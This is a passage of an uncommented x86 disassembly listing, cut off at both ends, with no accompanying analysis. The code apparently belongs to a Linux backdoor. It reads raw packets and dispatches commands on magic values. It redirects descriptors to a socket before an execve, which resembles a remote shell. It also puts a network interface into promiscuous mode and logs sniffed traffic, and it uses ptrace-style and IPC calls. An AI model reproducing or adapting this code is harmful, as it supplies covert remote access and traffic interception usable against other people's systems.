0x8049dd7: jmp 0x8049eb6
0x8049ddc: pushl 0x4(%ebx)
0x8049ddf: call 0x8049770
0x8049de4: add $0x4,%esp
0x8049de7: cmp $0x40,%eax
0x8049dea: ja 0x8049dfc
0x8049dec: pushl 0x4(%ebx)
0x8049def: call 0x8049770
0x8049df4: add $0x4,%esp
0x8049df7: jmp 0x8049e01
0x8049df9: lea 0x0(%esi),%esi
0x8049dfc: mov $0x40,%eax
0x8049e01: push %eax
0x8049e02: pushl 0x4(%ebx)
0x8049e05: push %esi
0x8049e06: call 0x804978c
0x8049e0b: pushl 0x14(%ebx)
0x8049e0e: call 0x80498d4
0x8049e13: mov %eax,0x40(%esi)
0x8049e16: pushl 0x28(%ebx)
0x8049e19: call 0x80498d4
0x8049e1e: mov %eax,0x44(%esi)
0x8049e21: push %eax
0x8049e22: call 0x8049894
0x8049e27: add 0x28(%ebx),%eax
0x8049e2a: inc %eax
0x8049e2b: push %eax
0x8049e2c: call 0x80498d4
0x8049e31: mov %eax,0x48(%esi)
0x8049e34: pushl 0x2c(%ebx)
0x8049e37: call 0x80498d4
0x8049e3c: mov %eax,0x4c(%esi)
0x8049e3f: add $0x20,%esp
0x8049e42: push %eax
0x8049e43: call 0x8049894
0x8049e48: add 0x2c(%ebx),%eax
0x8049e4b: inc %eax
0x8049e4c: push %eax
0x8049e4d: call 0x80498d4
0x8049e52: mov %eax,0x50(%esi)
0x8049e55: add $0x8,%esp
0x8049e58: pushl 0x44(%ebx)
0x8049e5b: call 0x8049770
0x8049e60: add $0x4,%esp
0x8049e63: cmp $0x20,%eax
0x8049e66: ja 0x8049e78
0x8049e68: pushl 0x44(%ebx)
0x8049e6b: call 0x8049770
0x8049e70: add $0x4,%esp
0x8049e73: jmp 0x8049e7d
0x8049e75: lea 0x0(%esi),%esi
0x8049e78: mov $0x20,%eax
0x8049e7d: push %eax
0x8049e7e: pushl 0x44(%ebx)
0x8049e81: lea 0x54(%esi),%eax
0x8049e84: push %eax
0x8049e85: call 0x804978c
0x8049e8a: push %ebx
0x8049e8b: push $0x2d
0x8049e8d: call 0x8049610
0x8049e92: push $0x78
0x8049e94: call 0x80497b0
0x8049e99: mov %eax,0x74(%esi)
0x8049e9c: add $0x18,%esp
0x8049e9f: test %eax,%eax
0x8049ea1: je 0x8049d5c
0x8049ea7: mov %eax,%esi
0x8049ea9: push $0x78
0x8049eab: push $0x0
0x8049ead: push %esi
0x8049eae: call 0x804974c
0x8049eb3: add $0xc,%esp
0x8049eb6: push $0xa0
0x8049ebb: mov 0xfffffbe4(%ebp),%edx
0x8049ec1: push %edx
0x8049ec2: push %edi
0x8049ec3: push $0x3
0x8049ec5: call 0x804963c
0x8049eca: add $0x10,%esp
0x8049ecd: test %eax,%eax
0x8049ecf: jg 0x8049d94
0x8049ed5: mov 0xfffffbe8(%ebp),%esp
0x8049edb: push %edi
0x8049edc: push $0x6
0x8049ede: call 0x8049610
0x8049ee3: mov 0xfffffbf0(%ebp),%eax
0x8049ee9: lea 0xfffffbd8(%ebp),%esp
0x8049eef: pop %ebx
0x8049ef0: pop %esi
0x8049ef1: pop %edi
0x8049ef2: leave
0x8049ef3: ret
0x8049ef4: push %ebp
0x8049ef5: mov %esp,%ebp
0x8049ef7: sub $0x24,%esp
0x8049efa: push %ebx
0x8049efb: push $0xff
0x8049f00: push $0x3
0x8049f02: push $0x2
0x8049f04: call 0x80499e0
0x8049f09: mov %eax,0xffffffdc(%ebp)
0x8049f0c: add $0xc,%esp
0x8049f0f: test %eax,%eax
0x8049f11: jl 0x8049f68
0x8049f13: movl $0x0,0xffffffe0(%ebp)
0x8049f1a: movl $0x42,0xffffffe4(%ebp)
0x8049f21: lea 0xfffffff0(%ebp),%edx
0x8049f24: mov %edx,0xffffffe8(%ebp)
0x8049f27: movl $0x10,0xffffffec(%ebp)
0x8049f2e: mov 0x8(%ebp),%eax
0x8049f31: mov %eax,0xfffffff0(%ebp)
0x8049f34: movl $0x75706e69,0xfffffff4(%ebp)
0x8049f3b: movl $0x310074,0xfffffff8(%ebp)
0x8049f42: lea 0xfffffff4(%ebp),%edx
0x8049f45: mov %edx,0xfffffffc(%ebp)
0x8049f48: lea 0xffffffdc(%ebp),%eax
0x8049f4b: push %eax
0x8049f4c: push $0xe
0x8049f4e: push $0x66
0x8049f50: call 0x8049624
0x8049f55: mov %eax,%ebx
0x8049f57: pushl 0xffffffdc(%ebp)
0x8049f5a: push $0x6
0x8049f5c: call 0x8049610
0x8049f61: mov %ebx,%eax
0x8049f63: jmp 0x8049f6d
0x8049f65: lea 0x0(%esi),%esi
0x8049f68: mov $0xffffffff,%eax
0x8049f6d: mov 0xffffffd8(%ebp),%ebx
0x8049f70: leave
0x8049f71: ret
0x8049f72: mov %esi,%esi
0x8049f74: push %ebp
0x8049f75: mov %esp,%ebp
0x8049f77: nop
0x8049f78: push $0x1
0x8049f7a: call 0x8049ef4
0x8049f7f: add $0x4,%esp
0x8049f82: test %eax,%eax
0x8049f84: je 0x8049f78
0x8049f86: leave
0x8049f87: ret
0x8049f88: push %ebp
0x8049f89: mov %esp,%ebp
0x8049f8b: sub $0xc,%esp
0x8049f8e: push %edi
0x8049f8f: push %esi
0x8049f90: push %ebx
0x8049f91: mov $0x1,%edi
0x8049f96: mov $0x2,%esi
0x8049f9b: push $0x18
0x8049f9d: call 0x8049604
0x8049fa2: add $0x4,%esp
0x8049fa5: test %eax,%eax
0x8049fa7: jne 0x8049fb5
0x8049fa9: call 0x8049ce8
0x8049fae: mov %eax,0xfffffff4(%ebp)
0x8049fb1: test %eax,%eax
0x8049fb3: jne 0x8049fc0
0x8049fb5: mov $0xffffffff,%eax
0x8049fba: jmp 0x804a047
0x8049fbf: nop
0x8049fc0: mov 0xfffffff4(%ebp),%edx
0x8049fc3: mov 0x74(%edx),%eax
0x8049fc6: test %eax,%eax
0x8049fc8: je 0x8049fd4
0x8049fca: mov %esi,%esi
0x8049fcc: inc %esi
0x8049fcd: mov 0x74(%eax),%eax
0x8049fd0: test %eax,%eax
0x8049fd2: jne 0x8049fcc
0x8049fd4: mov 0xfffffff4(%ebp),%ebx
0x8049fd7: test %ebx,%ebx
0x8049fd9: je 0x804a03a
0x8049fdb: nop
0x8049fdc: cmpw $0x4544,0x54(%ebx)
0x8049fe2: jne 0x804a032
0x8049fe4: mov 0xc(%ebp),%edx
0x8049fe7: cmp %edx,0x40(%ebx)
0x8049fea: jne 0x804a032
0x8049fec: xor %eax,%eax
0x8049fee: cmpl $0x1,0x10(%ebp)
0x8049ff2: jne 0x804a007
0x8049ff4: mov 0x8(%ebp),%edx
0x8049ff7: cmp 0x4c(%ebx),%edx
0x8049ffa: jl 0x804a007
0x8049ffc: cmp %edx,0x50(%ebx)
0x8049fff: setge %al
0x804a002: and $0xff,%eax
0x804a007: cmpl $0x2,0x10(%ebp)
0x804a00b: jne 0x804a01b
0x804a00d: mov 0x8(%ebp),%edx
0x804a010: cmp 0x44(%ebx),%edx
0x804a013: jl 0x804a01b
0x804a015: cmp %edx,0x48(%ebx)
0x804a018: jl 0x804a01b
0x804a01a: inc %eax
0x804a01b: test %eax,%eax
0x804a01d: jle 0x804a032
0x804a01f: push %edi
0x804a020: call 0x8049ef4
0x804a025: add $0x4,%esp
0x804a028: test %eax,%eax
0x804a02a: jl 0x804a032
0x804a02c: test %esi,%esi
0x804a02e: jle 0x804a03a
0x804a030: dec %esi
0x804a031: dec %edi
0x804a032: mov 0x74(%ebx),%ebx
0x804a035: inc %edi
0x804a036: test %ebx,%ebx
0x804a038: jne 0x8049fdc
0x804a03a: mov 0xfffffff4(%ebp),%edx
0x804a03d: push %edx
0x804a03e: push $0x2d
0x804a040: call 0x8049610
0x804a045: xor %eax,%eax
0x804a047: lea 0xffffffe8(%ebp),%esp
0x804a04a: pop %ebx
0x804a04b: pop %esi
0x804a04c: pop %edi
0x804a04d: leave
0x804a04e: ret
0x804a04f: nop
0x804a050: push %ebp
0x804a051: mov %esp,%ebp
0x804a053: push %edi
0x804a054: push %esi
0x804a055: push %ebx
0x804a056: mov 0xc(%ebp),%esi
0x804a059: fldz
0x804a05b: xor %ebx,%ebx
0x804a05d: cmp %esi,%ebx
0x804a05f: jge 0x804a091
0x804a061: lea 0x0(%esi),%esi
0x804a064: mov 0x8(%ebp),%edi
0x804a067: mov (%ebx,%edi,1),%dl
0x804a06a: mov %dl,%cl
0x804a06c: shr $0x4,%cl
0x804a06f: mov %cl,%al
0x804a071: shl $0x4,%al
0x804a074: sub %al,%dl
0x804a076: shl $0x4,%dl
0x804a079: add %cl,%dl
0x804a07b: movzbl %dl,%edx
0x804a07e: mov $0xff,%eax
0x804a083: sub %edx,%eax
0x804a085: push %eax
0x804a086: fiaddl (%esp,1)
0x804a089: add $0x4,%esp
0x804a08c: inc %ebx
0x804a08d: cmp %esi,%ebx
0x804a08f: jl 0x804a064
0x804a091: push %esi
0x804a092: fidivl (%esp,1)
0x804a095: add $0x4,%esp
0x804a098: lea 0xfffffff4(%ebp),%esp
0x804a09b: pop %ebx
0x804a09c: pop %esi
0x804a09d: pop %edi
0x804a09e: leave
0x804a09f: ret
0x804a0a0: push %ebp
0x804a0a1: mov %esp,%ebp
0x804a0a3: push %esi
0x804a0a4: push %ebx
0x804a0a5: mov 0xc(%ebp),%esi
0x804a0a8: xor %ebx,%ebx
0x804a0aa: cmp %esi,%ebx
0x804a0ac: jge 0x804a0c7
0x804a0ae: mov 0x8(%ebp),%ecx
0x804a0b1: lea 0x0(%esi),%esi
0x804a0b4: mov (%ecx),%dl
0x804a0b6: and $0xf,%dl
0x804a0b9: mov (%ecx),%al
0x804a0bb: or $0xf,%al
0x804a0bd: sub %dl,%al
0x804a0bf: mov %al,(%ecx)
0x804a0c1: inc %ecx
0x804a0c2: inc %ebx
0x804a0c3: cmp %esi,%ebx
0x804a0c5: jl 0x804a0b4
0x804a0c7: lea 0xfffffff8(%ebp),%esp
0x804a0ca: pop %ebx
0x804a0cb: pop %esi
0x804a0cc: leave
0x804a0cd: ret
0x804a0ce: mov %esi,%esi
0x804a0d0: push %ebp
0x804a0d1: mov %esp,%ebp
0x804a0d3: sub $0x20,%esp
0x804a0d6: push %esi
0x804a0d7: push %ebx
0x804a0d8: push $0x10
0x804a0da: lea 0xfffffff0(%ebp),%esi
0x804a0dd: push %esi
0x804a0de: push $0x2
0x804a0e0: call 0x8049c4c
0x804a0e5: push $0x4
0x804a0e7: lea 0xffffffe0(%ebp),%ebx
0x804a0ea: push %ebx
0x804a0eb: push $0x4
0x804a0ed: call 0x8049c4c
0x804a0f2: mov %esi,0xffffffe4(%ebp)
0x804a0f5: mov %ebx,0xffffffe8(%ebp)
0x804a0f8: movl $0x0,0xffffffec(%ebp)
0x804a0ff: push $0x0
0x804a101: lea 0xffffffe4(%ebp),%eax
0x804a104: push %eax
0x804a105: push %esi
0x804a106: push $0xb
0x804a108: call 0x804963c
0x804a10d: lea 0xffffffd8(%ebp),%esp
0x804a110: pop %ebx
0x804a111: pop %esi
0x804a112: leave
0x804a113: ret
0x804a114: push %ebp
0x804a115: mov %esp,%ebp
0x804a117: push %ebx
0x804a118: push $0x2
0x804a11a: call 0x8049604
0x804a11f: add $0x4,%esp
0x804a122: test %eax,%eax
0x804a124: jne 0x804a191
0x804a126: push $0x0
0x804a128: push $0x0
0x804a12a: push $0x46
0x804a12c: call 0x8049624
0x804a131: pushl 0x8(%ebp)
0x804a134: push $0x6
0x804a136: call 0x8049ab8
0x804a13b: mov %eax,%ebx
0x804a13d: add $0x14,%esp
0x804a140: test %ebx,%ebx
0x804a142: jge 0x804a150
0x804a144: push $0xffffffff
0x804a146: push $0x1
0x804a148: call 0x8049610
0x804a14d: add $0x8,%esp
0x804a150: push %ebx
0x804a151: call 0x8049b70
0x804a156: mov %eax,%ebx
0x804a158: add $0x4,%esp
0x804a15b: test %ebx,%ebx
0x804a15d: jge 0x804a16b
0x804a15f: push $0xffffffff
0x804a161: push $0x1
0x804a163: call 0x8049610
0x804a168: add $0x8,%esp
0x804a16b: push $0x0
0x804a16d: push %ebx
0x804a16e: push $0x3f
0x804a170: call 0x8049624
0x804a175: push $0x1
0x804a177: push %ebx
0x804a178: push $0x3f
0x804a17a: call 0x8049624
0x804a17f: push $0x2
0x804a181: push %ebx
0x804a182: push $0x3f
0x804a184: call 0x8049624
0x804a189: add $0x24,%esp
0x804a18c: call 0x804a0d0
0x804a191: mov 0xfffffffc(%ebp),%ebx
0x804a194: leave
0x804a195: ret
0x804a196: mov %esi,%esi
0x804a198: push %ebp
0x804a199: mov %esp,%ebp
0x804a19b: push %ebx
0x804a19c: push $0x2
0x804a19e: call 0x8049604
0x804a1a3: add $0x4,%esp
0x804a1a6: test %eax,%eax
0x804a1a8: jne 0x804a1fb
0x804a1aa: push $0x0
0x804a1ac: push $0x0
0x804a1ae: push $0x46
0x804a1b0: call 0x8049624
0x804a1b5: pushl 0xc(%ebp)
0x804a1b8: pushl 0x8(%ebp)
0x804a1bb: call 0x8049a2c
0x804a1c0: mov %eax,%ebx
0x804a1c2: add $0x14,%esp
0x804a1c5: test %ebx,%ebx
0x804a1c7: jge 0x804a1d5
0x804a1c9: push $0xffffffff
0x804a1cb: push $0x1
0x804a1cd: call 0x8049610
0x804a1d2: add $0x8,%esp
0x804a1d5: push $0x0
0x804a1d7: push %ebx
0x804a1d8: push $0x3f
0x804a1da: call 0x8049624
0x804a1df: push $0x1
0x804a1e1: push %ebx
0x804a1e2: push $0x3f
0x804a1e4: call 0x8049624
0x804a1e9: push $0x2
0x804a1eb: push %ebx
0x804a1ec: push $0x3f
0x804a1ee: call 0x8049624
0x804a1f3: add $0x24,%esp
0x804a1f6: call 0x804a0d0
0x804a1fb: mov 0xfffffffc(%ebp),%ebx
0x804a1fe: leave
0x804a1ff: ret
0x804a200: push %ebp
0x804a201: mov %esp,%ebp
0x804a203: sub $0x20d4,%esp
0x804a209: push %edi
0x804a20a: push %esi
0x804a20b: push %ebx
0x804a20c: push $0x2
0x804a20e: call 0x8049604
0x804a213: add $0x4,%esp
0x804a216: test %eax,%eax
0x804a218: jne 0x804a40d
0x804a21e: push $0x8
0x804a220: push $0xa
0x804a222: push $0x2
0x804a224: call 0x80499e0
0x804a229: mov %eax,0xffffdf34(%ebp)
0x804a22f: add $0xc,%esp
0x804a232: test %eax,%eax
0x804a234: jge 0x804a242
0x804a236: push $0xffffffff
0x804a238: push $0x1
0x804a23a: call 0x8049610
0x804a23f: add $0x8,%esp
0x804a242: push $0x10
0x804a244: mov 0x8(%ebp),%eax
0x804a247: add $0x8,%eax
0x804a24a: push %eax
0x804a24b: lea 0xffffdf3c(%ebp),%ebx
0x804a251: push %ebx
0x804a252: call 0x804978c
0x804a257: push %ebx
0x804a258: push $0x8913
0x804a25d: mov 0xffffdf34(%ebp),%ecx
0x804a263: push %ecx
0x804a264: push $0x36
0x804a266: call 0x804963c
0x804a26b: add $0x1c,%esp
0x804a26e: test %eax,%eax
0x804a270: jge 0x804a27e
0x804a272: push $0xffffffff
0x804a274: push $0x1
0x804a276: call 0x8049610
0x804a27b: add $0x8,%esp
0x804a27e: orb $0x1,0xffffdf4d(%ebp)
0x804a285: push %ebx
0x804a286: push $0x8914
0x804a28b: mov 0xffffdf34(%ebp),%ecx
0x804a291: push %ecx
0x804a292: push $0x36
0x804a294: call 0x804963c
0x804a299: add $0x10,%esp
0x804a29c: test %eax,%eax
0x804a29e: jge 0x804a2ac
0x804a2a0: push $0xffffffff
0x804a2a2: push $0x1
0x804a2a4: call 0x8049610
0x804a2a9: add $0x8,%esp
0x804a2ac: mov 0x8(%ebp),%ecx
0x804a2af: pushl 0x4(%ecx)
0x804a2b2: pushl (%ecx)
0x804a2b4: call 0x8049a2c
0x804a2b9: mov %eax,0xffffdf30(%ebp)
0x804a2bf: add $0x8,%esp
0x804a2c2: test %eax,%eax
0x804a2c4: jge 0x804a2d2
0x804a2c6: push $0xffffffff
0x804a2c8: push $0x1
0x804a2ca: call 0x8049610
0x804a2cf: add $0x8,%esp
0x804a2d2: push $0x80
0x804a2d7: lea 0xffffdf5c(%ebp),%ebx
0x804a2dd: push %ebx
0x804a2de: push $0x5
0x804a2e0: call 0x8049c4c
0x804a2e5: push %ebx
0x804a2e6: call 0x8049770
0x804a2eb: push %eax
0x804a2ec: push %ebx
0x804a2ed: mov 0xffffdf30(%ebp),%ecx
0x804a2f3: push %ecx
0x804a2f4: push $0x4
0x804a2f6: call 0x804963c
0x804a2fb: add $0x20,%esp
0x804a2fe: lea 0xffffdfdc(%ebp),%ecx
0x804a304: mov %ecx,0xffffdf2c(%ebp)
0x804a30a: jmp 0x804a3df
0x804a30f: nop
0x804a310: movzbl 0xffffdff3(%ebp),%edx
0x804a317: mov 0x8(%ebp),%ecx
0x804a31a: cmp 0x18(%ecx),%edx
0x804a31d: jne 0x804a3df
0x804a323: add $0xffffffde,%eax
0x804a326: lea 0xffffdffe(%ebp),%ebx
0x804a32c: cmp $0x6,%edx
0x804a32f: jne 0x804a3cc
0x804a335: lea 0xffffe012(%ebp),%edi
0x804a33b: lea 0xffffffec(%eax),%esi
0x804a33e: movzwl 0xffffdffe(%ebp),%eax
0x804a345: push %eax
0x804a346: call 0x80499cc
0x804a34b: mov %ax,0xffffdffe(%ebp)
0x804a352: movzwl 0x2(%ebx),%eax
0x804a356: push %eax
0x804a357: call 0x80499cc
0x804a35c: mov %ax,0x2(%ebx)
0x804a360: movzwl 0xffffdffe(%ebp),%eax
0x804a367: mov 0x8(%ebp),%ecx
0x804a36a: mov 0x1c(%ecx),%edx
0x804a36d: add $0x8,%esp
0x804a370: cmp %edx,%eax
0x804a372: je 0x804a37c
0x804a374: movzwl 0x2(%ebx),%eax
0x804a378: cmp %edx,%eax
0x804a37a: jne 0x804a3df
0x804a37c: mov 0x8(%ebp),%ecx
0x804a37f: cmpl $0x0,0x20(%ecx)
0x804a383: jne 0x804a38c
0x804a385: push %esi
0x804a386: push %edi
0x804a387: jmp 0x804a3ce
0x804a389: lea 0x0(%esi),%esi
0x804a38c: xor %ebx,%ebx
0x804a38e: cmp %esi,%ebx
0x804a390: jge 0x804a3df
0x804a392: mov %esi,%esi
0x804a394: mov (%ebx,%edi,1),%dl
0x804a397: cmp $0xa,%dl
0x804a39a: je 0x804a3a4
0x804a39c: mov %dl,%al
0x804a39e: add $0xe0,%al
0x804a3a0: cmp $0x5f,%al
0x804a3a2: ja 0x804a3c4
0x804a3a4: mov %dl,0xffffdf3b(%ebp)
0x804a3aa: push $0x1
0x804a3ac: lea 0xffffdf3b(%ebp),%eax
0x804a3b2: push %eax
0x804a3b3: mov 0xffffdf30(%ebp),%ecx
0x804a3b9: push %ecx
0x804a3ba: push $0x4
0x804a3bc: call 0x804963c
0x804a3c1: add $0x10,%esp
0x804a3c4: inc %ebx
0x804a3c5: cmp %esi,%ebx
0x804a3c7: jl 0x804a394
0x804a3c9: jmp 0x804a3df
0x804a3cb: nop
0x804a3cc: push %eax
0x804a3cd: push %ebx
0x804a3ce: mov 0xffffdf30(%ebp),%ecx
0x804a3d4: push %ecx
0x804a3d5: push $0x4
0x804a3d7: call 0x804963c
0x804a3dc: add $0x10,%esp
0x804a3df: push $0x2022
0x804a3e4: mov 0xffffdf2c(%ebp),%ecx
0x804a3ea: push %ecx
0x804a3eb: mov 0xffffdf34(%ebp),%ecx
0x804a3f1: push %ecx
0x804a3f2: push $0x3
0x804a3f4: call 0x804963c
0x804a3f9: add $0x10,%esp
0x804a3fc: cmp $0xffffffff,%eax
0x804a3ff: jne 0x804a310
0x804a405: push %eax
0x804a406: push $0x1
0x804a408: call 0x8049610
0x804a40d: lea 0xffffdf20(%ebp),%esp
0x804a413: pop %ebx
0x804a414: pop %esi
0x804a415: pop %edi
0x804a416: leave
0x804a417: ret
0x804a418: push %ebp
0x804a419: mov %esp,%ebp
0x804a41b: sub $0x430,%esp
0x804a421: push %edi
0x804a422: push %esi
0x804a423: push %ebx
0x804a424: mov $0xbe9,%ebx
0x804a429: jmp 0x804a42d
0x804a42b: nop
0x804a42c: inc %ebx
0x804a42d: push %ebx
0x804a42e: push $0x11
0x804a430: call 0x8049ab8
0x804a435: mov %eax,0xfffffbd8(%ebp)
0x804a43b: add $0x8,%esp
0x804a43e: test %eax,%eax
0x804a440: jl 0x804a42c
0x804a442: push $0x1
0x804a444: push $0x11
0x804a446: push %ebx
0x804a447: call 0x8049f88
0x804a44c: add $0xc,%esp
0x804a44f: lea 0xfffffc00(%ebp),%esi
0x804a455: lea 0xfffffc0c(%ebp),%edi
0x804a45b: lea 0xfffffbf0(%ebp),%eax
0x804a461: mov %eax,0xfffffbd4(%ebp)
0x804a467: nop
0x804a468: push $0x400
0x804a46d: push %esi
0x804a46e: mov 0xfffffbd8(%ebp),%eax
0x804a474: push %eax
0x804a475: call 0x8049ba0
0x804a47a: mov %eax,%edx
0x804a47c: add $0xc,%esp
0x804a47f: cmp $0x8c,%edx
0x804a485: jne 0x804a468
0x804a487: push $0x80
0x804a48c: push %edi
0x804a48d: call 0x804a050
0x804a492: fldl 0x4(%esi)
0x804a495: add $0x8,%esp
0x804a498: fucompp
0x804a49a: fnstsw %ax
0x804a49c: and $0x44,%ah
0x804a49f: xor $0x40,%ah
0x804a4a2: jne 0x804a468
0x804a4a4: push $0x80
0x804a4a9: push %edi
0x804a4aa: call 0x804a0a0
0x804a4af: add $0x8,%esp
0x804a4b2: mov 0xfffffc00(%ebp),%edx
0x804a4b8: cmp $0xbfffea10,%edx
0x804a4be: je 0x804a524
0x804a4c0: jg 0x804a4d8
0x804a4c2: cmp $0xbfaf2121,%edx
0x804a4c8: je 0x804a50c
0x804a4ca: cmp $0xbfff3e60,%edx
0x804a4d0: je 0x804a598
0x804a4d6: jmp 0x804a468
0x804a4d8: cmp $0x8002147,%edx
0x804a4de: je 0x804a4f0
0x804a4e0: cmp $0x8053e10,%edx
0x804a4e6: je 0x804a51a
0x804a4e8: jmp 0x804a468
0x804a4ed: lea 0x0(%esi),%esi
0x804a4f0: mov 0xc(%esi),%ebx
0x804a4f3: push $0x1
0x804a4f5: push $0x6
0x804a4f7: push %ebx
0x804a4f8: call 0x8049f88
0x804a4fd: push %ebx
0x804a4fe: call 0x804a114
0x804a503: add $0x10,%esp
0x804a506: jmp 0x804a468
0x804a50b: nop
0x804a50c: pushl 0x10(%esi)
0x804a50f: pushl 0xc(%esi)
0x804a512: call 0x804a198
0x804a517: add $0x8,%esp
0x804a51a: call 0x8049f74
0x804a51f: jmp 0x804a468
0x804a524: push $0x2
0x804a526: call 0x8049604
0x804a52b: add $0x4,%esp
0x804a52e: test %eax,%eax
0x804a530: jne 0x804a468
0x804a536: push $0x10
0x804a538: mov 0xfffffbd4(%ebp),%eax
0x804a53e: push %eax
0x804a53f: push $0x2
0x804a541: call 0x8049c4c
0x804a546: push $0x4
0x804a548: lea 0xfffffbdc(%ebp),%ebx
0x804a54e: push %ebx
0x804a54f: push $0x3
0x804a551: call 0x8049c4c
0x804a556: mov 0xfffffbd4(%ebp),%eax
0x804a55c: mov %eax,0xfffffbe0(%ebp)
0x804a562: mov %ebx,0xfffffbe4(%ebp)
0x804a568: mov %edi,0xfffffbe8(%ebp)
0x804a56e: movl $0x0,0xfffffbec(%ebp)
0x804a578: push $0x0
0x804a57a: lea 0xfffffbe0(%ebp),%eax
0x804a580: push %eax
0x804a581: mov 0xfffffbd4(%ebp),%eax
0x804a587: push %eax
0x804a588: push $0xb
0x804a58a: call 0x804963c
0x804a58f: add $0x28,%esp
0x804a592: jmp 0x804a468
0x804a597: nop
0x804a598: push %edi
0x804a599: call 0x804a200
0x804a59e: add $0x4,%esp
0x804a5a1: jmp 0x804a468
0x804a5a6: mov %esi,%esi
0x804a5a8: push %ebp
0x804a5a9: mov %esp,%ebp
0x804a5ab: push %ebx
0x804a5ac: push %ecx
0x804a5ad: push %edx
0x804a5ae: push %esi
0x804a5af: mov $0x1a,%eax
0x804a5b4: mov 0x18(%esp,1),%ebx
0x804a5b8: mov 0x1c(%esp,1),%ecx
0x804a5bc: mov 0x20(%esp,1),%edx
0x804a5c0: mov 0x24(%esp,1),%esi
0x804a5c4: int $0x80
0x804a5c6: pop %esi
0x804a5c7: pop %edx
0x804a5c8: pop %ecx
0x804a5c9: pop %ebx
0x804a5ca: leave
0x804a5cb: ret
0x804a5cc: push %ebp
0x804a5cd: mov %esp,%ebp
0x804a5cf: sub $0xc,%esp
0x804a5d2: push %esi
0x804a5d3: push %ebx
0x804a5d4: movb $0xfe,0xfffffff7(%ebp)
0x804a5d8: movb $0xff,0xfffffff6(%ebp)
0x804a5dc: push $0x1
0x804a5de: push $0x11
0x804a5e0: push $0x30
0x804a5e2: call 0x8049624
0x804a5e7: push $0x14
0x804a5e9: call 0x8049604
0x804a5ee: mov %eax,%esi
0x804a5f0: lea 0xfffffff8(%ebp),%ebx
0x804a5f3: push %ebx
0x804a5f4: push $0x2a
0x804a5f6: call 0x8049610
0x804a5fb: add $0x18,%esp
0x804a5fe: test %eax,%eax
0x804a600: jl 0x804a69d
0x804a606: push $0x2
0x804a608: call 0x8049604
0x804a60d: add $0x4,%esp
0x804a610: test %eax,%eax
0x804a612: jne 0x804a680
0x804a614: pushl 0xfffffff8(%ebp)
0x804a617: push $0x6
0x804a619: call 0x8049610
0x804a61e: push $0x0
0x804a620: push $0x0
0x804a622: push %esi
0x804a623: push $0x10
0x804a625: call 0x804a5a8
0x804a62a: add $0x18,%esp
0x804a62d: test %eax,%eax
0x804a62f: jge 0x804a648
0x804a631: push $0x1
0x804a633: lea 0xfffffff7(%ebp),%eax
0x804a636: push %eax
0x804a637: pushl 0x4(%ebx)
0x804a63a: push $0x4
0x804a63c: call 0x804963c
0x804a641: add $0x10,%esp
0x804a644: jmp 0x804a674
0x804a646: mov %esi,%esi
0x804a648: push $0x1
0x804a64a: lea 0xfffffff6(%ebp),%eax
0x804a64d: push %eax
0x804a64e: pushl 0x4(%ebx)
0x804a651: push $0x4
0x804a653: call 0x804963c
0x804a658: push $0x0
0x804a65a: push $0x0
0x804a65c: push %esi
0x804a65d: push $0x11
0x804a65f: call 0x804a5a8
0x804a664: add $0x20,%esp
0x804a667: push $0x12
0x804a669: push %esi
0x804a66a: push $0x25
0x804a66c: call 0x8049624
0x804a671: add $0xc,%esp
0x804a674: push $0x0
0x804a676: push $0x1
0x804a678: call 0x8049610
0x804a67d: add $0x8,%esp
0x804a680: push $0x1
0x804a682: lea 0xfffffff5(%ebp),%eax
0x804a685: push %eax
0x804a686: pushl 0xfffffff8(%ebp)
0x804a689: push $0x3
0x804a68b: call 0x804963c
0x804a690: cmp $0x1,%eax
0x804a693: jne 0x804a69d
0x804a695: mov 0xfffffff6(%ebp),%al
0x804a698: cmp %al,0xfffffff5(%ebp)
0x804a69b: jne 0x804a6a4
0x804a69d: xor %eax,%eax
0x804a69f: jmp 0x804a6a9
0x804a6a1: lea 0x0(%esi),%esi
0x804a6a4: mov $0x1,%eax
0x804a6a9: lea 0xffffffec(%ebp),%esp
0x804a6ac: pop %ebx
0x804a6ad: pop %esi
0x804a6ae: leave
0x804a6af: ret
0x804a6b0: push %ebp
0x804a6b1: mov %esp,%ebp
0x804a6b3: sub $0x30,%esp
0x804a6b6: push %esi
0x804a6b7: push %ebx
0x804a6b8: push $0x3ff
0x804a6bd: push $0x5
0x804a6bf: push $0x46532e4f
0x804a6c4: call 0x8049688
0x804a6c9: mov %eax,%esi
0x804a6cb: add $0xc,%esp
0x804a6ce: test %esi,%esi
0x804a6d0: jl 0x804a75a
0x804a6d6: push $0x0
0x804a6d8: push $0x0
0x804a6da: push %esi
0x804a6db: call 0x80496a0
0x804a6e0: mov %eax,%ebx
0x804a6e2: add $0xc,%esp
0x804a6e5: test %ebx,%ebx
0x804a6e7: je 0x804a75a
0x804a6e9: lea 0xffffffd0(%ebp),%eax
0x804a6ec: push %eax
0x804a6ed: push $0x2
0x804a6ef: push %esi
0x804a6f0: call 0x80496c0
0x804a6f5: add $0xc,%esp
0x804a6f8: test %eax,%eax
0x804a6fa: jl 0x804a754
0x804a6fc: push $0x18
0x804a6fe: call 0x8049604
0x804a703: mov %eax,%esi
0x804a705: mov 0xfffffff4(%ebp),%eax
0x804a708: add $0x4,%esp
0x804a70b: cmp $0x1,%ax
0x804a70f: jbe 0x804a738
0x804a711: test %esi,%esi
0x804a713: jne 0x804a738
0x804a715: cmpb $0x1,0x4(%ebx)
0x804a719: je 0x804a738
0x804a71b: push $0x9
0x804a71d: pushl (%ebx)
0x804a71f: push $0x25
0x804a721: call 0x8049624
0x804a726: push $0x14
0x804a728: call 0x8049604
0x804a72d: mov %eax,(%ebx)
0x804a72f: movb $0x1,0x4(%ebx)
0x804a733: mov %ebx,%eax
0x804a735: jmp 0x804a75c
0x804a737: nop
0x804a738: cmp $0x1,%ax
0x804a73c: ja 0x804a754
0x804a73e: push $0x14
0x804a740: call 0x8049604
0x804a745: mov %eax,(%ebx)
0x804a747: test %esi,%esi
0x804a749: sete %al
0x804a74c: mov %al,0x4(%ebx)
0x804a74f: mov %ebx,%eax
0x804a751: jmp 0x804a75c
0x804a753: nop
0x804a754: push %ebx
0x804a755: call 0x80496d8
0x804a75a: xor %eax,%eax
0x804a75c: lea 0xffffffc8(%ebp),%esp
0x804a75f: pop %ebx
0x804a760: pop %esi
0x804a761: leave
0x804a762: ret
0x804a763: nop
0x804a764: push %ebp
0x804a765: mov %esp,%ebp
0x804a767: sub $0x100,%esp
0x804a76d: push %esi
0x804a76e: push %ebx
0x804a76f: push $0x80
0x804a774: push $0x0
0x804a776: lea 0xffffff80(%ebp),%esi
0x804a779: push %esi
0x804a77a: call 0x804974c
0x804a77f: push $0x80
0x804a784: push %esi
